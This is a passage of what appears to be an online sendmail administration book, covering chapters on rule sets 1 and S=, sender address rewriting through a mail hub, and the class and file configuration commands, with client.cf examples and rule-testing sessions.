As shown in Figure 11.1 the address is processed by rule set 3 first and then by rule set 1. Then, for each recipient in the list of recipients, each sender's address is custom processed by the rule set specified in the recipient delivery agent's S= equate. This custom processing is necessary because different delivery agents may want the sender's address to have a different appearance. One example is the difference between a domain-based delivery agent (needing an address such as gw@wash.dc.gov) and a UUCP-based delivery agent (needing a routing path such as fbi!wash!gw).

We will examine the custom S= processing first, then discuss why a generic rule set 1 is not needed in the client.cf file.

Figure 11.1: The flow of the sender's address

Previous: 10.6 Things to Try | sendmail | Next: 11.2 Rule Set S=
10.6 Things to Try | Book Index | 11.2 Rule Set S=


[Chapter 11] 11.2 Rule Set S=

sendmailSearch this book
Previous: 11.1 Flow of the Sender's Address Chapter 11
Rule Sets 1 and S= 		Next: 11.3 All Mail from the Hub

11.2 Rule Set S=

In the original hub delivery agent definition the S= equate was set to zero:

Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

           no custom processing

The S= equate is used to specify the number of the rule set that will perform delivery agent-specific custom processing of the sender's address. When that equate specifies rule set 0, sendmail does no custom processing. Now that we intend to do custom sender address processing, we will change the 0 into of a real rule set number and write that rule set.

Recall that rule sets 0 through 5 have special internal meanings to sendmail (see Section 8.3, "Rule Sets"). When selecting a rule number for use in a delivery agent's S= equate, you need either to carefully select one that does not already have internal meaning for sendmail or to let sendmail select the number for you. For the purposes of the client.cf file we will use the latter approach. [3]

[3] Available only beginning with V8.7 sendmail.

As the first step in creating a new rule set, edit the client.cf file and change S=0 to S=Hubset in the hub delivery agent definition.

Mhub,   P=[IPC], S=Hubset, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h

           change to symbolic name

This change tells sendmail to assign a number of its own choosing to S=. That rule set, which we will refer to symbolically by the name Hubset, will do a custom rewrite of the sender's address for this (the hub) delivery agent. But before you can create that actual rule set, we need to review why it is necessary.

Previous: 11.1 Flow of the Sender's Address | sendmail | Next: 11.3 All Mail from the Hub
11.1 Flow of the Sender's Address | Book Index | 11.3 All Mail from the Hub


[Chapter 11] 11.3 All Mail from the Hub

sendmailSearch this book
Previous: 11.2 Rule Set S= Chapter 11
Rule Sets 1 and S= 		Next: 11.4 Rule Set Hubset

11.3 All Mail from the Hub

Recall that one purpose of client.cf is to make all messages appear to originate from the hub. The purpose of a rule set Hubset is to rewrite the sender's address so that the mail message always appears to originate from the hub machine.

From: user@client
          -v
      becomes
          -v
From: user@hub

This could be done by rule set 3, but that would affect all addresses, both recipient and sender, which is not appropriate. Mail should not appear to be both to and from the hub, but should appear to be only from the hub. It could also be done in rule set 1 (which we will cover soon), but that would affect all sender addresses. You don't want to rewrite all sender addresses, just those that are being sent through the hub. You may someday want to use prog or local delivery agents, and the sender's address should be left unchanged for them.

Previous: 11.2 Rule Set S= | sendmail | Next: 11.4 Rule Set Hubset
11.2 Rule Set S= | Book Index | 11.4 Rule Set Hubset


[Chapter 11] 11.4 Rule Set Hubset

sendmailSearch this book
Previous: 11.3 All Mail from the Hub Chapter 11
Rule Sets 1 and S= 		Next: 11.5 Testing So Far

11.4 Rule Set Hubset

Place the following new rule after rule set 3 in the client.cf file:

S3 # preprocessing for all rule sets
R$* <> $*                    $n             handle <> error address
R$* < $* < $* > $* > $*      $2<$3>$4       de-nest brackets
R$* < $* > $*                $2             basic RFC822 parsing

SHubset # Rewrite the sender for the hub                       <-  new

At this point you may be wondering why we can give this rule set a symbolic name, when the earlier rule sets (0 and 3) had numeric names. The answer lies inside sendmail. Recall that rule set numbers 0 through 5 have special internal meaning to sendmail. Part of that meaning is their names. The sendmail program recognizes those special rules only by number. If you were to give them names instead of numbers, sendmail would not recognize them, and your configuration file would cease to work.

On the other hand, beginning with V8.7 sendmail, you may both specify a rule set and give it a symbolic name. Internally, sendmail converts that name to a number (a high one such as 199) and internally refers to it by number. The conversion process ensures that each name will correspond to a unique number.

Now that we've named Hubset, let's put some rules in it.

11.4.1 Rewrite the Lone Username

The sender's address can take several forms. It can be a user's login name, such as gw or ben. It can be a user at a short hostname, such as gw@wash or ben@fbi. It can be a user at a fully qualified name such as gw@wash.dc.gov or ben@fbi.dc.gov.

The Hubset rule set first looks for an address that is just a simple user's name, such as gw, and makes it appear as though it is from the mail hub. To do this, you need a new LHS wildcard operator, $-. The $- wildcard operator matches exactly one token in the workspace. The first rule in the Hubset rule set uses the $- wildcard operator like this:

SHubset # Rewrite the sender for the hub
R$-                          $@ $1@${HUB}   user -> user@hub      <-  new

Because $- is the only wildcard operator in the LHS, a match occurs only if the workspace contains a single token:

$-matches   "you"
$-does not match   "you" "@" "localhost"

This LHS is used to look for an address that contains only a user's login name. When such a match is found, the RHS ($@ $1@${HUB}) rewrites that address by appending an @ and the name of the mail hub machine, which was stored in the ${HUB} macro.

The RHS contains two rewrite operators, one that you have seen already and one that you haven't:

$1positional operator (you have seen this)
$@return immediately (new)

When $@ begins (prefixes) the RHS of any rule, it tells sendmail to return (exit the current rule set) immediately after it has rewritten the workspace. If the $@ prefix did not appear at the start of the RHS, sendmail would rewrite the workspace and then evaluate the LHS again. The $@ also prevents the workspace from being carried down to any additional rules in the current rule set. An immediate return from this rule is desirable because additional rules might corrupt the now correct workspace.

The actual rewriting is done by $1@${HUB}. The $1, which you have seen before, takes the username matched by the LHS of $- (the first and only wildcard operator, thus $1). Then an @ character is appended. Then the ${HUB} macro is appended to the workspace.

The ${HUB} macro contains the address of the mail hub machine as it is known to the outside world. This is different from the ${REMOTE} macro that you defined earlier, which contains the address of the mail hub machine as it is known to the internal network. Before you can use the value of ${HUB}, you need to define it in the client.cf file:

# Defined macros
D{REMOTE}mailhost              # The name of the mail hub
D{HUB}mail.us.edu              # Hub as known to the outside world      <-  new

This new macro definition places the text mail.us.edu into the macro named {HUB}. Now the RHS of $1@${HUB} will rewrite the workspace into

you @ mail . us . edu

 $1 @ ${HUB}

This is exactly what is wanted. Remember that the Hubset rule set handles only sender addresses. Any sender address that consists of nothing more than the name of a user will be rewritten to appear to come from the mail hub. Table 11.1 shows the three LHS wildcard operators that you now know.

Table 11.1: Three LHS Wildcard Operators
Wildcard | Description
$+ | Match one or more tokens
$* | Match zero or more tokens
$- | Match exactly one token

11.4.2 A Word About ${HUB}

In the client.cf file, ${REMOTE} is defined to be the name of the hub machine as it is known internally to your network. ${HUB} is defined to be the name of that same machine as it is known to the outside world. Note that both names could be (and probably will be) the same at your site.

The important point about ${REMOTE} is that it contains a symbolic name, such as mailhost. This allows the machine that is used as the hub to be easily changed should the need arise. As your site becomes larger and more complex, you might want to have several hubs for routing messages to the outside world. Or you might want to have one machine handle all outgoing mail and another handle all incoming mail. Using a symbolic name makes such changes easy.

The important point about ${HUB}, on the other hand, is that it contains a fully qualified domain name that is listed with the Domain Name System or the UUCP maps and is known to all other sites in the world. This is the host part of the address that other sites will use when they reply to mail sent from the hub.

Remember that a name such as you@ with the value of ${HUB} added makes the address of the local sender (you) look as though it is from the hub (mail.us.edu). When someone at another site replies to this address, the reply will go to the hub rather than to the local client. This is an important distinction, because the client machine may (by design) be unable to receive mail (more on this later).

Previous: 11.3 All Mail from the Hub | sendmail | Next: 11.5 Testing So Far
11.3 All Mail from the Hub | Book Index | 11.5 Testing So Far


[Chapter 11] 11.5 Testing So Far

sendmailSearch this book
Previous: 11.4 Rule Set Hubset Chapter 11
Rule Sets 1 and S= 		Next: 11.6 Handling user@thishost

11.5 Testing So Far

If you haven't already done so, add the new macro and the new rule set to the client.cf file:

# Defined macros
D{REMOTE}mailhost              # The name of the mail hub
D{HUB}mail.us.edu              # Hub as known to the outside world      <-  new

Remember to replace mail.us.edu with a real hostname - the name of the hub machine at your site.

The new rule set looks like this:

SHubset # Rewrite the sender for the hub
R$-                          $@ $1@${HUB}   user -> user@hub      <-  new

Now test the new rule by running sendmail in rule-testing mode:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

At the prompt, specify rule set 3 first because all addresses are preprocessed by that rule. Then specify Hubset, because the hub delivery agent definition specifies that rule in its S= equate.

> 3,Hubset you

Following the list of rule sets, give the sender's name. Remember that the lone login name will be rewritten to appear as though it is from the hub. The output produced by sendmail looks like this:

rewrite: ruleset  3   input: you
rewrite: ruleset  3 returns: you
rewrite: ruleset 199   input: you
rewrite: ruleset 199 returns: you @ mail . us . edu

Note that V8 sendmail internally changed the name Hubset into the number 199.

Previous: 11.4 Rule Set Hubset | sendmail | Next: 11.6 Handling user@thishost
11.4 Rule Set Hubset | Book Index | 11.6 Handling user@thishost


[Chapter 11] 11.6 Handling user@thishost

sendmailSearch this book
Previous: 11.5 Testing So Far Chapter 11
Rule Sets 1 and S= 		Next: 11.7 Rule Set 1

11.6 Handling user@thishost

The Hubset rule set next needs a rule that will take an address consisting of a username and a short hostname and will change only the host part. Consider an address of the form:

user@thishost

Here, the user part is what you already dealt with: a user's login name such as you. It is followed by an @ character and then the local host's name. One method of matching this form of address in the LHS would be to match the user, the @ character, and any hostname (recall that the $+ matches one or more tokens in the workspace):

R$-@$+

This form is easy to use because the $+ would match any hostname at all and wouldn't require that you know all the possible names for the local host ahead of time. Unfortunately, you shouldn't use this approach, because you want to rewrite the sender's hostname only if it is that of the local machine. Using $+ would cause the sender's hostname to be rewritten whether or not it is the name of the local machine.

But how could the sender's address not be from the local machine? Recall that sendmail gets the sender address from one of four places: from the envelope, from the From: header, from the -f switch (see below), or from the uid of the process that ran sendmail.

Consider, for example, a Usenet news-posting program that posts news by sending mail. It may be desirable to have all posted news messages appear to be from the news program on the news server machine. One way to achieve this is by running sendmail with the -f switch:

-f news@news.server

Here, the -f switch causes sendmail to use the address specified on the command line as the address of the sender.

But in this example you would not want to change the address of the sender to appear as though it were from the hub. That would undo what news tries to do with the -f switch.

A better approach is to match the user, the @ character, and the specific local hostname:

R$-@$w

Recall that $w was defined to be the short hostname of the local host. This LHS matches only a workspace (sender's address) that begins with a single user's login name ($-), followed by @, and then by the name of the local host ($w).

Add this new rule to the client.cf file:

SHubset # Rewrite the sender for the hub
R$-             $@ $1@${HUB}            user -> user@hub
R$-@$w          $@ $1@${HUB}            user@local -> user@hub        <-  new

Notice that, other than their comments, the two rules differ only in their LHS. The flow through these rules is that the first tries to match a lone username in the workspace. If that match fails, the second rule tries to match the workspace. It matches only a workspace that contains the name of a user at the local machine. To observe this rule in action, run sendmail in rule-testing mode again:

% ./sendmail -d0.1 -Cclient.cf -bt

This time, we added the -d0.1 debugging command-line switch, which tells sendmail to print the identity of the local machine:

Version 8.8.4
 Compiled with: LOG MATCHGECOS MIME7TO8 MIME8TO7 NAMED_BIND NDBM NETINET
                NETUNIX NIS SCANF XDEBUG

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu
         (subdomain name) $m = us.edu
              (node name) $k = here
========================================================

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Note that sendmail, in this example, defines $w as here, the name of the local machine. Your local machine name will, of course, differ. Fortunately, you don't have to know what that name is to design a new rule. Simply use $w, and let sendmail do all the work.

Now give sendmail rule sets 3 and Hubset as you did before, but this time specify a sender's address that contains a user and a host part:

> 3,Hubset you@here

               the same as appeared in $w

The user part can be any login name. The host part must be the text in the $w macro (displayed when you just ran sendmail with the -d0.1 debugging command-line switch above).

rewrite: ruleset  3   input: you @ here
rewrite: ruleset  3 returns: you @ here
rewrite: ruleset 199   input: you @ here
rewrite: ruleset 199 returns: you @ mail . us . edu

As intended, Hubset, the custom rule set for rewriting the sender's address for the hub delivery agent, made the local address appear to be from the hub.

Note, however, that you cannot specify macros when testing addresses; that is, the following does not work:

> 3,Hubset you@$w

The sendmail program does not recognize macros in addresses. They aren't recognized because macros in rule sets are expanded when the configuration file is read, not when sendmail reads addresses. The command above results in the following erroneous output:

rewrite: ruleset  3   input: you @ $w
rewrite: ruleset  3 returns: you @ $w
rewrite: ruleset 199   input: you @ $w
rewrite: ruleset 199 returns: you @ $w

Also note that the value in $w is the short hostname, here, instead of the fully qualified name here.us.edu. Instead of adding an additional rule to test for the fully qualified name, we defer this problem to the next chapter.

Previous: 11.5 Testing So Far | sendmail | Next: 11.7 Rule Set 1
11.5 Testing So Far | Book Index | 11.7 Rule Set 1


[Chapter 11] 11.7 Rule Set 1

sendmailSearch this book
Previous: 11.6 Handling user@thishost Chapter 11
Rule Sets 1 and S= 		Next: 11.8 Things to Try

11.7 Rule Set 1

When we began this chapter, we explained that the sender's address was processed by a series of three rule sets: rule set 3, rule set 1, and the custom rule set specified by the S= delivery agent equate. We've described rule set 3 and S=, but we haven't yet described rule set 1. If we send all mail to a central hub, we don't really need a rule set 1. That's because there is nothing that we need to do to all sender addresses. In fact, most configuration files, even at large sites, have no need for a rule set 1. [4]

[4] Eric says, "Given it to do over, rule sets 1 and 2 wouldn't exist."

Still, it is wise to add a dummy rule set 1 (one that does nothing) to the client.cf file. For one thing, this makes it clear that you haven't simply omitted rule set 1 by oversight. It also allows us to illustrate some points about rule sets in general.

R$-             $@ $1@${HUB}            user -> user@hub
R$-@$w          $@ $1@${HUB}            user@local -> user@hub

S1 # Generic sender rewrite (unused)                                   <-  new

We place rule set 1 last in the client.cf file, as we will continue to do with any other unused rules. This declaration of rule set 1 illustrates three points about rule sets in general:

  • Rule sets do not have to be in any particular order in the configuration file. The sendmail program reads the entire file and sorts the rule sets internally.

  • A rule set containing no rules is a "do-nothing" rule set. The workspace passed to it is returned unchanged.

  • Rule sets that are declared but unused should be commented to indicate this fact.

The positioning of rule sets in the configuration file is largely a matter of individual taste. Some administrators like to keep custom rule sets (such as Hubset) next to the delivery agent definition rather than with the general rules. We don't favor any particular approach over another. The overriding concern in any configuration file - which can be complex - should be for clarity and organization.

Previous: 11.6 Handling user@thishost | sendmail | Next: 11.8 Things to Try
11.6 Handling user@thishost | Book Index | 11.8 Things to Try


[Chapter 11] 11.8 Things to Try

sendmailSearch this book
Previous: 11.7 Rule Set 1 Chapter 11
Rule Sets 1 and S= 		Next: 12. Class

11.8 Things to Try

  • All machines can be known by two names: the normal hostname (as defined by $w) and the generic name localhost. Design and test a rule for Hubset that tests for and rewrites a sender address like you@localhost.

  • When we speak of the sender, we have lumped together the envelope and header senders into one. Try to think of examples in which the sender header address should be rewritten in a way that is different from the sender envelope address.

  • At a site that has more than one hub, it would be necessary to route mail from some clients to one hub and mail from other clients to another. Think of a basis for such a division (such as subnets or NIS domains) and design a set of rules (in a single configuration file) to rewrite the sender address appropriately for a selected hub.

  • Consider the need to match subsets of a subdomain. For example, assume that the local hostname is here and the local domain is my.sub.domain. At such a site, all of the following are legal addresses: you@here, you@here.my, and you@here.my.sub.domain. But the following is illegal: you@here.my.sub. Modify rule set Hubset in the client.cf file so that it recognizes all the legal forms of addressing in a subdomain.

Previous: 11.7 Rule Set 1 | sendmail | Next: 12. Class
11.7 Rule Set 1 | Book Index | 12. Class


[Chapter 12] Class

sendmailSearch this book
Previous: 11.8 Things to Try Chapter 12 Next: 12.2 The File Form of Class

12. Class

Contents:
The Class Command
The File Form of Class
Things to Try

In rule sets, it is often advantageous to compare individual tokens to multiple strings in determining a match. For example, consider the rules developed in the last chapter, that is, the sender rewriting rules from the hub delivery agent's S=Hubset rule set:

SHubset # Rewrite the sender for the hub
R$-             $@ $1@${HUB}            user -> user@hub
R$-@$w          $@ $1@${HUB}            user@local -> user@hub

The second rule's LHS looks for any sender address that is composed of a single username followed by an @ character and ending with the short name of the local machine ($w). Such an address is rewritten by the RHS to become that of the central forwarding machine, defined by the {HUB} macro.

Now suppose that the local machine is known by several names in addition to the short name in $w. All machines, for example, have a short name (such as here) and a fully qualified name (such as here.us.edu). They also often refer to themselves as localhost. In addition, some machines can play special roles at a site (such as having a printer or containing a central directory of fonts) and might have another name appropriate to that role.

To convert any sender address so that it becomes the central forwarder's name, no matter what the local host's name, you can use sendmail classes. In this chapter we will cover the class configuration command and its cousin, the file configuration command. Proper use of the class and file commands allows you to replace many rules with a single rule.

12.1 The Class Command

The class command declares a macro whose value is a list of strings. Rule sets may then compare the workspace to that list of strings. One such list could be a list of names by which the local machine is known.

A class is referenced in the LHS with the $= prefix:

$=X            <-  single-character name
$={XXX}        <-  multicharacter name (beginning with V8.7)

Here, X is a single-character class name. Beginning with V8.7 sendmail, multicharacter class name may be used, as shown in the second line above. Multicharacter class names must always be enclosed in curly braces.

The workspace is tokenized as usual; then the appropriate token is looked up to see whether it was defined as belonging to the class referenced by $=. If the token was found, the workspace at that point is considered to be matched. We'll cover this in more detail shortly.

12.1.1 Declaring a Class

The words that form the list of words in a class are declared with the C configuration command. The form for the class configuration command is as follows:

CXlist            <-  single-character name
C{XXX}list        <-  multicharacter name (beginning with V8.7)

The class configuration command starts with the letter C, which must begin a line. The C is immediately followed (with no intervening whitespace) by the name of that class. A class name can be a single ASCII character or, beginning with V8.7 sendmail, multiple ASCII characters enclosed in curly braces. A whitespace-separated list of word elements follows on the same line. Space between the name and the list is optional.

For example, the following declaration places two possible names for the local machine into the class named w:

Cw printer1 fontserver

Multiple declarations of the same class macro may exist. Each appends its word elements to the preceding list. For example, the following produces the same result as the single line above:

Cw printer1
Cw fontserver

Both examples define a class named w, and both assign to that class the same list of two words.

12.1.1.1 A caveat

Class names and macro names are completely independent. To illustrate, consider the following two configuration commands:

Dwprinter1
Cwprinter1

Both assign the value printer1 to the name w. The first assigns that value to a macro, the second to a class. Internally, sendmail stores the value printer1 twice, first as type "macro" and second as type "class." Although they share the same value (printer1), macros and classes are completely independent of each other.

12.1.2 Multiple Known Names for the Local Host

As an example of one common use of the class macro, we will consider the case of machines that are known by multiple names. Run sendmail again:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Now give it the special (new to V8.7 sendmail) rule-testing command $= (which tells sendmail to print the values stored in a class) and follow that with the letter (class name) w:

> $=w
here.us.edu
here
[123.45.67.8]
>

This illustrates that sendmail is aware of three of your machine's possible names (the last is an IP address). But recall from the previous chapter that the rule that we created looked for the local machine using only the short name in the macro w, not the three names in class w:

R$-@$w          $@ $1@${HUB}            user@local -> user@hub

If we didn't have class macros, we would have to look for the local machine name using a series of rules like those below:

R$-@$w                 $@ $1@${HUB}     user@local -> user@hub
R$-@here.us.edu        $@ $1@${HUB}     user@local -> user@hub
R$-@[123.45.67.8]      $@ $1@${HUB}     user@local -> user@hub

Fortunately, the class configuration command provides an alternative. Use of a class list allows one rule to be written that does exactly the same thing as the three preceding rules:

R$-@$=w         $@ $1@${HUB}            user@local -> user@hub

Let's examine this new rule, then test it.

12.1.3 Class Macros in the LHS

The list of words in a class are referenced in the LHS of rules by prefixing the class name with the characters $=. For the class named w the expression in the LHS looks like this:

$=w

To understand how this expression is evaluated, we need to look at how the words in the class are stored. Each word that sendmail adds to the list (whether internally or from a C configuration command) is stored by sendmail in its symbol table. The symbol table holds all the words that appear in the configuration file. It holds the values of macro definitions and the symbolic names of delivery agents. It also holds the words that form a class list.

Next, we need to review how the workspace is tokenized and compared to the LHS of a rule. Just before the LHS is compared to the workspace, the workspace is tokenized. The address of a local user in the workspace might look like, and be tokenized like, the following:

you@here   becomes   ->    you @ here

When the $=w expression appears in the LHS of a rule, it is compared to the workspace at the point that corresponds to the class's position in the LHS:

R$-@$=w         $@$1@${HUB}            user@local -> user@hub

    here

In performing its minimum match of the workspace to the LHS, the matches are the following:

$-      <-  match you
@       <-  match @
$=w     <-  does here match any token in class w?

When sendmail encounters a class-matching expression in the LHS, it looks up the corresponding token from the workspace in its symbol table. Here it looks up here. Because here is listed in the symbol table as belonging to the class w, sendmail finds a match. If there were no here in the symbol table, the match would fail. If there were one or more here entries in the symbol table, but none marked as belonging to class w, the match would also fail.

12.1.4 Class Macros in the RHS

When a match in the LHS allows the RHS to rewrite the workspace, the token matched by the $= prefix can be referenced with a $digit positional operator. This differs from the $ macro prefix that you learned about earlier. Macros are expanded when the configuration file is read (so $digit doesn't work), but classes are given values only when a rule is matched (so $digit does work).

We don't use the positional operator in the RHS because we don't care what word matched. Instead, we take the username from the LHS with $1, add an @ character and the name of the forwarding hub machine (the ${HUB}):

R$-@$=w         $@$1@${HUB}            user@local -> user@hub

 1  2                $2 not needed

12.1.5 Testing Class

Modify the client.cf file by changing the $w in the second rule (of SHubset) into a $=w so that we can begin to test the class:

R$-@$=w         $@ $1@${HUB}            user@local -> user@hub

     insert an =

Now run sendmail in rule-testing mode once again:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

First use the $= rule-testing command to list the contents of the class w:

> $=w
here.us.edu
here
[123.45.67.8]

Next, to test the new rule, specify rule set Hubset and give sendmail an address with a user, an @, and one of the local addresses shown for your machine:

> Hubset you@here.us.edu
rewrite: ruleset 199   input: you @ here . us . edu
rewrite: ruleset 199 returns: you @ mail . us . edu

This result is just what we expected. After all, the value in ${HUB} is mail.us.edu. Now give sendmail another address, only this time give it one not in the list:

> Hubset you@localhost
rewrite: ruleset 199   input: you @ localhost
rewrite: ruleset 199 returns: you @ localhost

This time the address was not rewritten because localhost is not listed in the class w. But, in general, localhost is a legitimate name for the local machine, so let's add it temporarily by employing a new rule-testing command that you haven't seen before:

> .Cw localhost
> $=w
here.us.edu
localhost
here
[123.45.67.8]

The .C command (new with V8.7) tells sendmail to temporarily add a word to a class. In this case we added the word localhost to the class w. We then ran the $= rule-testing command to confirm that sendmail had actually added the word to the class.

Test the address localhost again:

> Hubset you@localhost
rewrite: ruleset 199   input: you @ localhost
rewrite: ruleset 199 returns: you @ mail . us . edu

This time, sendmail found localhost in the list and so rewrote the sender address.

12.1.6 Add Class w to client.cf

As we mentioned earlier, a host may be known by many names. Some of those names are found automatically by sendmail; others must be added by you. The name localhost is one possibility, and there may be others (such as printer1). You can add them to class w in rule-testing mode, but that is not a permanent solution (because they are forgotten as soon you leave rule-testing mode). Instead, you need to add them to your configuration file using the C configuration command.

Edit the client.cf file and add a new C configuration line to it:

V7
# Defined macros
D{REMOTE}mailhost              # The name of the mail hub
D{HUB}mail.us.edu              # Hub as known to the outside world

Cw localhost printer1          # My other names.                        <-  new

Here we added localhost because it was missing and printer1 to illustrate later points. Note that the name printer1 is probably not appropriate for your site, but include it for now.

Run sendmail again in rule-testing mode:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Use the $= rule-testing command again. Make sure the C line added the new names to the class w:

> $=w
here.us.edu
localhost
here
[123.45.67.8]
printer1

We can now test each name. Remember that the rule we are testing is this one:

R$-@$=w         $@ $1@${HUB}            user@local -> user@hub

We want to match any sender address that is a username, an @, and any of the names in the class w. We also want to rewrite each to appear as though the user is from the hub.

> Hubset you@here.us.edu
rewrite: ruleset 199   input: you @ here . us . edu
rewrite: ruleset 199 returns: you @ mail . us . edu
> Hubset you@localhost
rewrite: ruleset 199   input: you @ localhost
rewrite: ruleset 199 returns: you @ mail . us . edu
> Hubset you@here
rewrite: ruleset 199   input: you @ here
rewrite: ruleset 199 returns: you @ mail . us . edu
> Hubset you@[123.45.67.8]
rewrite: ruleset 199   input: you @ [ 123 . 45 . 67 . 8 ]
rewrite: ruleset 199 returns: you @ mail . us . edu
> Hubset you@printer1
rewrite: ruleset 199   input: you @ printer1
rewrite: ruleset 199 returns: you @ mail . us . edu
> Hubset you@printer1.us.edu
rewrite: ruleset 199   input: you @ printer1 . us . edu
rewrite: ruleset 199 returns: you @ printer1 . us . edu

All the names in class w match as they should. Notice that here appears in the list as both a short and a fully qualified name, but printer1 does not. When we tried printer1 in a fully qualified form (in the last three lines above), it failed. To make printer1 succeed, we could add its fully qualified form to the class w, but if we did that, we would have to do the same for localhost and any other names that we added. Instead, we will deal with the problem by adding a rule to the client.cf file.

12.1.7 Adding the Domain

There are three approaches to writing a rule that matches any of the local hostnames with a domain added:

  1. Use a $* wildcard operator to match anything after the local hostname:

    R$-@$=w$*

    But this is unwise because it assumes that anything that follows the host is a domain, which might not always be true.

  2. Use your domain name directly in the rule:

    R$-@$=w.us.edu

    Although this will work, it is better to use a macro in case you change your domain or use this file on a machine in another domain.

  3. Use a macro that has your domain name as its value.

We will use the third approach because it is the cleanest. Begin by running sendmail with the -d0.1 debugging switch again:

Version 8.8.4
 Compiled with: LOG MATCHGECOS MIME7TO8 MIME8TO7 NAMED_BIND NDBM NETINET
                NETUNIX NIS SCANF XDEBUG

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu
         (subdomain name) $m = us.edu
              (node name) $k = here
========================================================

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Note that the line that defines the "subdomain name" (the one with the $m) is the local domain that we need for our new rule. Add another rule to the Hubset rule set. This new rule looks for any local names (in $=w) that are followed by the local domain name defined for you by sendmail:

SHubset # Rewrite the sender for the hub
R$-             $@ $1@${HUB}            user -> user@hub
R$-@$=w         $@ $1@${HUB}            user@local -> user@hub
R$-@$=w.$m      $@ $1@${HUB}            user@local.domain -> user@hub     <-  new

Now run sendmail once again and feed it the address that failed in the last test (but use your local domain):

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> Hubset you@printer1.us.edu
rewrite: ruleset 199   input: you @ printer1 . us . edu
rewrite: ruleset 199 returns: you @ mail . us . edu

As expected, the new rule in the Hubset rule set does its job. It finds that the printer1.us.edu part of the address matches the $=w.$m part of the rule and rewrites the workspace to make the sender's address appear as though it is from the hub.

Previous: 11.8 Things to Try | sendmail | Next: 12.2 The File Form of Class
11.8 Things to Try | Book Index | 12.2 The File Form of Class


[Chapter 12] 12.2 The File Form of Class

sendmailSearch this book
Previous: 12.1 The Class Command Chapter 12
Class 		Next: 12.3 Things to Try

12.2 The File Form of Class

It is not always possible or convenient to list the values for a class directly in the configuration file. Sometimes it might be better to store values in files. Examples of this might be the following:

  • The names of hosts that are connected to the local machine via UUCP. At some sites, such connections are created and removed often, and it is undesirable to be constantly changing the configuration file.

  • The names of hosts that are being moved from one location to another. During a move, it is better to modify an external file while each hostname is changed and then to modify the configuration file after all the moves have been done.

  • The alternative names for a machine may vary from machine to machine, yet a single configuration file may be shared among them. When such a boilerplate configuration file is centrally maintained (and distributed with rdist(1), for example), names that indicate the specialty roles of a machine should be external to that file.

The client.cf file lists two additional names for the local host in the class w:

Cw localhost printer1          # My other names.

To make this configuration file more general, it would be better to store the host-specific name (printer1) in a separate file. To externalize words for a class list, you use the F configuration command. That command looks like this:

Fw/path

The F must begin a line. This tells sendmail that this is a class definition, just like the C command that we just illustrated. The name of the class (here w) must immediately follow the F with no intervening space. If the class name is multicharacter, it must be enclosed in curly braces. Optional space may separate the class name from the /path. With the C command, a list of words follows the name on the same line, but with the F command, the name of a file follows. /path is the full pathname of a file. For demonstration purposes we will name that file /etc/sendmail.cw. [1]

[1] This is the path recommended by V8.7 and above sendmail.

Edit the client.cf file and make two changes. Delete the name printer1 from the C line and add a new F line:

             remove printer1
                -v
Cw localhost                   # My other names.
Fw/etc/sendmail.cw             # A file of other names         <-  new

The first class definition starts with the letter C and tells sendmail to add the name localhost to the list of words in the class w. The second line tells sendmail to read the file named /etc/sendmail.cw and to add the words in that file to the class w. Note that the name w is the same for each line. The C and F commands differ only in where the words are taken from.

Now run sendmail and notice what happens when the file /etc/sendmail.cw doesn't exist:

% ./sendmail -Cclient.cf -bt
client.cf: line 7: fileclass: cannot open /etc/sendmail.cw: No such file or directory
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

As you would expect, sendmail prints an error message when it fails to find the file. But as you might not expect, sendmail prints the error warning and continues to run.

Because we are developing a generic configuration file, one that can be shared among many machines, we would prefer not to have an error printed if the file doesn't exist. We can suppress the error message by adding a -o (for optional) switch to the F configuration command:

Fw -o /etc/sendmail.cw         # A file of other names

   new

Now run sendmail again and notice that the error message is gone:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)

Enter <ruleset> <address>
>

But we still want the name printer1 to be recognized as local. To do that, we need to either put it back into the C line that we just removed it from or put it into the file that doesn't exist yet, the /etc/sendmail.cw file.

Create and edit the file /etc/sendmail.cw. If you lack write permission, create a file that you are permitted to write to (such as /usr/tmp/sendmail.cw) and use it in the following examples and in the client.cf file. Put this hostname into that file:

printer1

The next time you run sendmail, it reads this file and adds each word it sees to the class w. Run sendmail in rule-testing mode again and verify that for yourself:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> $=w
here.us.edu
localhost
here
[123.45.67.8]
printer1

Success! Now add some more names to the sendmail.cw file. We will use bogus names just for demonstration purposes:

         add
           -v
printer1 bogus
fake                 <-  add

Run sendmail again and notice that the name bogus is missing:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> $=w
here.us.edu
fake
localhost
here
[123.45.67.8]
printer1

Why is bogus missing? To answer this question, leap ahead to Section 32.1, "Class Configuration Commands". But for now, just assume that there may be only one word per line.

Previous: 12.1 The Class Command | sendmail | Next: 12.3 Things to Try
12.1 The Class Command | Book Index | 12.3 Things to Try


[Chapter 12] 12.3 Things to Try

sendmailSearch this book
Previous: 12.2 The File Form of Class Chapter 12
Class 		Next: 13. Setting Options

12.3 Things to Try

  • In an F command, rather than specifying the name of a file, specify the name of a directory or a device such as /dev/null. Does sendmail care? How does it handle (or not handle) nonfiles?

